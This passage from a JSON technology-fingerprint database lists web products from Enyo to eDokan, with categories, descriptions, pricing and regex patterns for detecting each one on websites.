  \"icon\": \"Enyo.png\",\n    \"js\": {\n      \"enyo\": \"\"\n    },\n    \"scriptSrc\": [\n      \"enyo\\\\.js\"\n    ],\n    \"website\": \"https://enyojs.com\"\n  },\n  \"Eploy\": {\n    \"cats\": [\n      101\n    ],\n    \"cookies\": {\n      \"Eploy.Session\": \"\"\n    },\n    \"description\": \"Eploy is an end-to-end multilingual e-recruitment platform that helps to manage the entire recruitment process from job requisition through to onboarding.\",\n    \"icon\": \"Eploy.svg\",\n    \"js\": {\n      \"$Eploy\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.eploy.co.uk\"\n  },\n  \"Epoch\": {\n    \"cats\": [\n      25\n    ],\n    \"html\": [\n      \"<link[^>]+?href=\\\"[^\\\"]+epoch(?:\\\\.min)?\\\\.css\"\n    ],\n    \"implies\": [\n      \"D3\"\n    ],\n    \"scriptSrc\": [\n      \"epoch(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://fastly.github.io/epoch\"\n  },\n  \"Epom\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"Epom.svg\",\n    \"js\": {\n      \"epomCustomParams\": \"\"\n    },\n    \"url\": [\n      \"^https?://(?:[^/]+\\\\.)?ad(?:op)?shost1\\\\.com/\"\n    ],\n    \"website\": \"https://epom.com\"\n  },\n  \"EqualWeb\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"EqualWeb provides a web accessibility overlay, and helps some people with disabilities access digital information.\",\n    \"icon\": \"EqualWeb.svg\",\n    \"scriptSrc\": [\n      \"cdn\\\\.equalweb\\\\.com.*\\\\.js\"\n    ],\n    \"website\": \"https://www.equalweb.com/\"\n  },\n  \"EraofEcom Cartroids\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"EraofEcom Cartroids makes it easy for you to create highly targeted upsells, cross-sells and bundle offers.\",\n    \"icon\": \"EraofEcom.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"cartroids.appBase\": \"cartroids\\\\.eraofecom\\\\.org\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://eraofecom.org/collections/tech/products/cartroids\"\n  },\n  \"EraofEcom MTL\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"EraofEcom MTL is a Shopify pop up app that enables you to catch your website visitors.\",\n    \"icon\": \"EraofEcom.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"mtl\\\\.eraofecom\\\\.org\"\n    ],\n    \"website\": \"https://eraofecom.org/collections/tech/products/milk-the-leads\"\n  },\n  \"EraofEcom WinAds\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"EraofEcom WinAds is an all-in-one Facebook pixel app for Shopify.\",\n    \"dom\": [\n      \"link[href*='winads.eraofecom.org']\"\n    ],\n    \"icon\": \"EraofEcom.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"win_ads.baseURL\": \"winads\\\\.eraofecom\\\\.org\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://eraofecom.org/collections/tech/products/win-ads-manager\"\n  },\n  \"Erlang\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:erlang:erlang\\\\/otp:*:*:*:*:*:*:*:*\",\n    \"description\": \"Erlang is a general-purpose, concurrent, functional programming language, and a garbage-collected runtime system.\",\n    \"headers\": {\n      \"Server\": \"Erlang( OTP/(?:[\\\\d.ABR-]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Erlang.svg\",\n    \"website\": \"https://www.erlang.org\"\n  },\n  \"Errorception\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Errorception is a error reporting service for client-side in-browser JavaScript errors.\",\n    \"icon\": \"Errorception.svg\",\n    \"js\": {\n      \"_errs\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://errorception.com\"\n  },\n  \"EspoCRM\": {\n    \"cats\": [\n      53\n    ],\n    \"cpe\": \"cpe:2.3:a:espocrm:espocrm:*:*:*:*:*:*:*:*\",\n    \"description\": \"EspoCRM is an open-source CRM software solution designed for businesses of all sizes.\",\n    \"dom\": [\n      \"meta[content*='EspoCRM'], link[href*='/espo/']\"\n    ],\n    \"icon\": \"EspoCRM.svg\",\n    \"implies\": [\n      \"Handlebars\",\n      \"Backbone.js\"\n    ],\n    \"js\": {\n      \"Espo\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"espo(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://www.espocrm.com\"\n  },\n  \"Essent SiteBuilder Pro\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"description\": \"Essent SiteBuilder Pro is a fully-integrated web-based website design system, content management and ecommerce system.\",\n    \"dom\": [\n      \"a[href*='www.essent.com'][target='_blank']\"\n    ],\n    \"icon\": \"Essent.png\",\n    \"meta\": {\n      \"GENERATOR\": \"^Essent® SiteBuilder Pro$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.essent.com/SiteBuilderPro.html\"\n  },\n  \"Essential Addons for Elementor\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Essential Addons for Elementor gives you 70+ creative elements and extensions to help you extend the stock features of Elementor page builder.\",\n    \"dom\": [\n      \"link[href*='/wp-content/uploads/essential-addons-elementor/']\"\n    ],\n    \"icon\": \"Essential Addons for Elementor.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/uploads/essential-addons-elementor/\"\n    ],\n    \"website\": \"https://essential-addons.com/elementor/\"\n  },\n  \"Essential JS 2\": {\n    \"cats\": [\n      12,\n      59\n    ],\n    \"html\": [\n      \"<[^>]+ class ?= ?\\\"(?:e-control|[^\\\"]+ e-control)(?: )[^\\\"]* e-lib\\\\b\"\n    ],\n    \"icon\": \"Syncfusion.svg\",\n    \"website\": \"https://www.syncfusion.com/javascript-ui-controls\"\n  },\n  \"Estore Compare\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"Estore Compare is a website optimisation software that offers A/B testing, CVR and LTV measuring tools.\",\n    \"icon\": \"EstoreCompare.svg\",\n    \"scriptSrc\": [\n      \"cdn\\\\d+\\\\.estore\\\\.jp/\"\n    ],\n    \"website\": \"https://estore.co.jp/estorecompare/\"\n  },\n  \"Estore Shopserve\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Estore Shopserve is an all-in-one payment processing and ecommerce solution.\",\n    \"icon\": \"EstoreShopserve.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cart\\\\d+\\\\.shopserve\\\\.jp/\"\n    ],\n    \"website\": \"https://estore.co.jp/shopserve\"\n  },\n  \"Etail Systems\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Etail Systems is an all-in-one centralized platform to manage all of your ecommerce operations.\",\n    \"icon\": \"EtailSystems.svg\",\n    \"js\": {\n      \"EtailAlert\": \"\",\n      \"EtailEncodePersText\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.etailsystems.com\"\n  },\n  \"Etherpad\": {\n    \"cats\": [\n      24\n    ],\n    \"cpe\": \"cpe:2.3:a:etherpad:etherpad:*:*:*:*:*:*:*:*\",\n    \"description\": \"Etherpad is an open-source, web-based collaborative real-time editor, allowing authors to simultaneously edit a text document, and see all of the participants' edits in real-time, with the ability to display each author's text in their own colour.\",\n    \"headers\": {\n      \"Server\": \"^Etherpad\"\n    },\n    \"icon\": \"etherpad.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"padeditbar\": \"\",\n      \"padimpexp\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/ep_etherpad-lite/\"\n    ],\n    \"website\": \"https://etherpad.org\"\n  },\n  \"Ethers\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Ethers is a complete, tiny and simple Ethereum library.\",\n    \"icon\": \"Ethers.svg\",\n    \"js\": {\n      \"_ethers\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://ethers.org/\"\n  },\n  \"EthicalAds\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"EthicalAds is a privacy-preserving ad network targeting developers.\",\n    \"icon\": \"EthicalAds.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"media\\\\.ethicalads\\\\.io\"\n    ],\n    \"website\": \"https://www.ethicalads.io/\"\n  },\n  \"Eticex\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Eticex is as an ecommerce infrastructure provider that offers ecommerce packages and customisable high-performance ecommerce solutions.\",\n    \"icon\": \"Eticex.svg\",\n    \"implies\": [\n      \"MySQL\",\n      \"React\",\n      \"PHP\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.eticex\\\\.com/\"\n    ],\n    \"website\": \"https://www.eticex.com\"\n  },\n  \"Etix\": {\n    \"cats\": [\n      104\n    ],\n    \"description\": \"Etix is an international web-based ticketing service provider for the entertainment, travel, and sports industries.\",\n    \"dom\": [\n      \"a[href*='.etix.com/ticket/'][target='_blank']\"\n    ],\n    \"icon\": \"Etix.svg\",\n    \"js\": {\n      \"Etix.javaContext\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://hello.etix.com\"\n  },\n  \"Etracker\": {\n    \"cats\": [\n      10,\n      74\n    ],\n    \"description\": \"Etracker is a web optimisation solution.\",\n    \"icon\": \"Etracker.svg\",\n    \"js\": {\n      \"_etracker\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.etracker\\\\.com\"\n    ],\n    \"website\": \"https://www.etracker.com\"\n  },\n  \"EventOn\": {\n    \"cats\": [\n      72,\n      87\n    ],\n    \"description\": \"EventON is event calendar for WordPress.\",\n    \"dom\": [\n      \"link#eventon_dynamic_styles-css, link[href*='/css/eventon_styles\\\\.css']\"\n    ],\n    \"icon\": \"eventon.svg\",\n    \"website\": \"https://www.myeventon.com\"\n  },\n  \"Everflow\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Everflow is a partner marketing analytics platform.\",\n    \"icon\": \"Everflow.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"everflow\\\\.js\"\n    ],\n    \"website\": \"https://www.everflow.io\"\n  },\n  \"EveryAction\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"EveryAction provides fundraising software, donor management software, and CRM software to nonprofit organisations.\",\n    \"dom\": [\n      \"a[href*='secure.everyaction.com/'], div[data-form-url*='secure.everyaction.com/']\"\n    ],\n    \"icon\": \"EveryAction.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.everyaction\\\\.com/\"\n    ],\n    \"website\": \"https://www.everyaction.com\"\n  },\n  \"Eveve\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Eveve is a restaurant table booking widget.\",\n    \"html\": [\n      \"<iframe[^>]*[\\\\w]+\\\\.eveve\\\\.com\"\n    ],\n    \"icon\": \"Eveve.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.eveve.com\"\n  },\n  \"Evidon\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Evidon is a transparency company that helps organizations educate consumers on how and why data is collected, as well as provide consumers with the ability to give and withdraw consent to their data being used.\",\n    \"dom\": [\n      \"a[href*='info.evidon.com/pub_info/']\"\n    ],\n    \"icon\": \"Evidon.png\",\n    \"js\": {\n      \"EB.EvidonConsent\": \"\",\n      \"evidon\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.evidon\\\\.com/\"\n    ],\n    \"website\": \"https://www.evidon.com\"\n  },\n  \"Evolok\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Evolok is an engagement and monetization platform for digital media.\",\n    \"icon\": \"Evolok.svg\",\n    \"js\": {\n      \"evo_client\": \"\",\n      \"evo_endpoint\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.evolok.com\"\n  },\n  \"Evolve Media\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Evolve Media is a publishing platform that offers contextual environments for partners to connect and engage with millions of loyal readers through passionate writing and artful storytelling.\",\n    \"icon\": \"EvolveMedia.svg\",\n    \"js\": {\n      \"EvolveGtagId\": \"\",\n      \"EvolveMediaMainSettings\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.evolvemediallc.com\"\n  },\n  \"Evvnt\": {\n    \"cats\": [\n      72,\n      104\n    ],\n    \"description\": \"Evvnt is a digital events marketing and management platform.\",\n    \"dom\": [\n      \"script[data-source*='evvnt']\"\n    ],\n    \"icon\": \"Evvnt.svg\",\n    \"js\": {\n      \"evvnt_require\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://evvnt.com\"\n  },\n  \"ExactMetrics\": {\n    \"cats\": [\n      87,\n      10\n    ],\n    \"description\": \"ExactMetrics (formerly Google Analytics Dashboard for WP) plugin helps you properly setup all the powerful Google Analytics tracking features without writing any code or hiring a developer.\",\n    \"icon\": \"ExactMetrics.svg\",\n    \"js\": {\n      \"ExactMetrics\": \"\",\n      \"exactmetrics_frontend\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/google-analytics-dashboard-for-wp/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.exactmetrics.com\"\n  },\n  \"Excel Impact\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Excel Impact is a provider of lead generation systems and advertiser solutions.\",\n    \"dom\": [\n      \"link[href*='api.excelimpact.com'][rel='preconnect']\"\n    ],\n    \"icon\": \"ExcelImpact.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://excelimpact.com\"\n  },\n  \"Exemptify\": {\n    \"cats\": [\n      106,\n      100\n    ],\n    \"description\": \"Exemptify allows you to conduct proper EU B2B transactions by validating EU VAT IDs.\",\n    \"icon\": \"Exemptify.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"ExemptifyTriggerUpdate\": \"\",\n      \"m4u_ex_vat_postfix_txt\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.modules4u\\\\.biz/shopify/exemptify\"\n    ],\n    \"website\": \"https://modules4u.biz/exemptify\"\n  },\n  \"Exhibit\": {\n    \"cats\": [\n      25\n    ],\n    \"icon\": \"Exhibit.png\",\n    \"js\": {\n      \"Exhibit\": \"\",\n      \"Exhibit.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"exhibit.*\\\\.js\"\n    ],\n    \"website\": \"https://simile-widgets.org/exhibit/\"\n  },\n  \"ExitIntel\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"ExitIntel is a full service conversion optimisation agency that focuses on ecommerce companies.\",\n    \"icon\": \"ExitIntel.svg\",\n    \"js\": {\n      \"exitintel.VERSION\": \"(.+)$\\\\;version:\\\\1\",\n      \"exitintelAccount\": \"\",\n      \"exitintelConfig\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:get.)?exitintel\\\\.com\"\n    ],\n    \"website\": \"https://exitintelligence.com\"\n  },\n  \"Exo Platform\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Exo Platform is a social-collaboration software designed for enterprises.\",\n    \"icon\": \"ExoPlatform.svg\",\n    \"js\": {\n      \"eXo.core\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.exoplatform.com\"\n  },\n  \"ExoClick\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"ExoClick is a Barcelona-based online advertising company, which provides online advertising services to both advertisers and publishers.\",\n    \"icon\": \"ExoClick.png\",\n    \"meta\": {\n      \"exoclick-site-verification\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.exoclick\\\\.com/\"\n    ],\n    \"website\": \"https://www.exoclick.com\"\n  },\n  \"ExpertRec\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"ExpertRec is a collaborative Web search engine, which allows users share search histories through a web browser.\",\n    \"icon\": \"ExpertRec.svg\",\n    \"js\": {\n      \"_er_config\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"expertrec\\\\.com/api/js/ci_common\\\\.js\\\\?id=.*\"\n    ],\n    \"website\": \"https://www.expertrec.com/\"\n  },\n  \"Expivi\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"Expivi specialises in 3D visualisation technology for ecommerce stores.\",\n    \"dom\": [\n      \"iframe[src*='.expivi.net/']\"\n    ],\n    \"icon\": \"Expivi.svg\",\n    \"js\": {\n      \"ExpiviComponent\": \"\",\n      \"expivi\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.expivi\\\\.(?:com|net)/\"\n    ],\n    \"website\": \"https://www.expivi.com\"\n  },\n  \"Exponea\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Exponea is a cloud-based marketing analysis platform suitable for large and midsize organisations in a variety of industries.\",\n    \"icon\": \"Exponea.svg\",\n    \"js\": {\n      \"exponea.version\": \"^v([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:\\\\.exponea\\\\.com)?/js/exponea\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://go.exponea.com\"\n  },\n  \"Express\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:expressjs:express:*:*:*:*:*:*:*:*\",\n    \"description\": \"Express is a web application framework for Node.js, released as free and open-source software under the MIT License. It is designed for building web applications and APIs.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^Express(?:$|,)\"\n    },\n    \"icon\": \"Express.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"website\": \"https://expressjs.com\"\n  },\n  \"ExpressionEngine\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"exp_csrf_token\": \"\",\n      \"exp_last_activity\": \"\",\n      \"exp_tracker\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:ellislab:expressionengine:*:*:*:*:*:*:*:*\",\n    \"description\": \"ExpressionEngine is a free and open-source CMS.\",\n    \"icon\": \"ExpressionEngine.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://expressionengine.com/\"\n  },\n  \"ExtJS\": {\n    \"cats\": [\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:sencha:ext_js:*:*:*:*:*:*:*:*\",\n    \"description\": \"ExtJS is a JavaScript framework developed by Sencha, designed for creating feature-rich, cross-platform web applications with a comprehensive set of UI components and tools.\",\n    \"icon\": \"ExtJS.svg\",\n    \"js\": {\n      \"Ext\": \"\",\n      \"Ext.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"Ext.versions.extjs.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"ext-base\\\\.js\"\n    ],\n    \"website\": \"https://www.sencha.com\"\n  },\n  \"Extend\": {\n    \"cats\": [\n      107\n    ],\n    \"description\": \"Extend is a service that offers brands product and shipping protection, creating a new revenue source while enhancing customer loyalty and trust.\",\n    \"icon\": \"Extend.svg\",\n    \"js\": {\n      \"Extend\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdk\\\\.helloextend\\\\.com/extend-sdk-client/v([\\\\d.]+)/extend-sdk-client\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.extend.com\"\n  },\n  \"ExtendThemes Calliope\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ExtendThemes Calliope is an flexible, multipurpose WordPress child theme of Colibri WP.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/calliope/']\"\n    ],\n    \"icon\": \"ExtendThemes.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/calliope/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/calliope\"\n  },\n  \"ExtendThemes EmpowerWP\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ExtendThemes EmpowerWP is an flexible, multipurpose WordPress theme.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/empowerwp']\"\n    ],\n    \"excludes\": [\n      \"ExtendThemes Mesmerize\"\n    ],\n    \"icon\": \"ExtendThemes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/empowerwp(?:-pro)?/\"\n    ],\n    \"website\": \"https://extendthemes.com/empowerwp\"\n  },\n  \"ExtendThemes Highlight\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ExtendThemes Highlight is an flexible, multipurpose WordPress theme.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/highlight/'], link[href*='/wp-content/themes/highlight-pro/']\"\n    ],\n    \"excludes\": [\n      \"ExtendThemes Mesmerize\"\n    ],\n    \"icon\": \"ExtendThemes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/highlight(?:-pro)?/\"\n    ],\n    \"website\": \"https://extendthemes.com/highlight\"\n  },\n  \"ExtendThemes Materialis\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ExtendThemes Materialis is an flexible, multipurpose WordPress theme.\",\n    \"dom\": [\n      \"link#materialis-style-css\"\n    ],\n    \"icon\": \"ExtendThemes.svg\",\n    \"js\": {\n      \"MaterialisTheme\": \"\",\n      \"materialisSetHeaderTopSpacing\": \"\",\n      \"materialis_theme_pro_settings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/materialis(?:-pro)?/\"\n    ],\n    \"website\": \"https://extendthemes.com/materialis\"\n  },\n  \"ExtendThemes Mesmerize\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"ExtendThemes Mesmerize is an flexible, multipurpose WordPress theme.\",\n    \"dom\": [\n      \"link#mesmerize-style-css\"\n    ],\n    \"icon\": \"ExtendThemes.svg\",\n    \"js\": {\n      \"MesmerizeKube\": \"\",\n      \"mesmerizeDomReady\": \"\",\n      \"mesmerizeFooterParalax\": \"\",\n      \"mesmerizeMenuSticky\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/mesmerize(?:-pro)?/\"\n    ],\n    \"website\": \"https://extendthemes.com/mesmerize\"\n  },\n  \"Extendify\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Extendify is a popular platform used by WordPress site owners to create high-performing and highly-aesthetic websites with ease.\",\n    \"dom\": [\n      \"link[href*='/plugins/extendify/'], #extendify-utility-styles-css\"\n    ],\n    \"icon\": \"Extendify.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://extendify.com\"\n  },\n  \"Extole\": {\n    \"cats\": [\n      94,\n      84\n    ],\n    \"description\": \"Extole is an online marketing platform that enables brands and businesses to get new customers through loyalty and referral programs.\",\n    \"dom\": [\n      \"li > a[href*='.extole.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Extole.svg\",\n    \"js\": {\n      \"extole.VERSION\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.(?:extole|xtlo)\\\\.(?:com|net)/\"\n    ],\n    \"website\": \"https://www.extole.com\"\n  },\n  \"EzTix\": {\n    \"cats\": [\n      104\n    ],\n    \"description\": \"EzTix is an event ticketing system.\",\n    \"dom\": [\n      \"script#eztixKioskLinkId\"\n    ],\n    \"icon\": \"EzTix.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"kiosk\\\\.eztix\\\\.co/\"\n    ],\n    \"website\": \"https://www.eztix.com\"\n  },\n  \"Ezoic\": {\n    \"cats\": [\n      10,\n      36\n    ],\n    \"description\": \"Ezoic is a website optimisation platform for digital publishers and website owners powered by machine learning.\",\n    \"icon\": \"Ezoic.svg\",\n    \"js\": {\n      \"EzoicA\": \"\",\n      \"EzoicBanger\": \"\",\n      \"ezoicTestActive\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"poa\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ezo(?:js|ic|dn)\\\\.(?:com|net)\"\n    ],\n    \"website\": \"https://www.ezoic.com\"\n  },\n  \"e-Shop Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"e-Shop is a all-in-one Software-as-a-Service (SaaS) that allows Israeli customers to set up an online store and sell their products.\",\n    \"icon\": \"eShop eCommerce.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/template_inc/eshopstoresframework\"\n    ],\n    \"website\": \"https://www.e-shop.co.il\"\n  },\n  \"e-goi\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"e-goi is a multichannel marketing automation software for ecommerce.\",\n    \"icon\": \"e-goi.svg\",\n    \"js\": {\n      \"Egoimmerce\": \"\",\n      \"_egoiaq\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.e-goi\\\\.com/egoimmerce\\\\.js\"\n    ],\n    \"website\": \"https://www.e-goi.com\"\n  },\n  \"e107\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"e107_tz\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:e107:e107:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"X-Powered-By\": \"e107\"\n    },\n    \"icon\": \"e107.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"scriptSrc\": [\n      \"[^a-z\\\\d]e107\\\\.js\"\n    ],\n    \"website\": \"https://e107.org\"\n  },\n  \"eBay Partner Network\": {\n    \"cats\": [\n      71,\n      94\n    ],\n    \"description\": \"eBay Partner Network is an online referral program where eBay pays commissions to referrers on sales generated by customers they’ve referred.\",\n    \"icon\": \"eBay.svg\",\n    \"scriptSrc\": [\n      \"epnt\\\\.ebay\\\\.com/\"\n    ],\n    \"website\": \"https://partnernetwork.ebay.com\"\n  },\n  \"eCaupo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"eCaupo is no delivery portal, but your own shop.\",\n    \"icon\": \"eCaupo.png\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.ecaupo\\\\.(?:at|com)/\"\n    ],\n    \"website\": \"https://www.ecaupo.com\"\n  },\n  \"eClass\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"eClass is an online learning platform.\",\n    \"icon\": \"eClass.svg\",\n    \"js\": {\n      \"fe_eclass\": \"\\\\;confidence:50\",\n      \"fe_eclass_guest\": \"\\\\;confidence:50\"\n    },\n    \"website\": \"https://www.eclass.com.hk\"\n  },\n  \"eDokan\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": 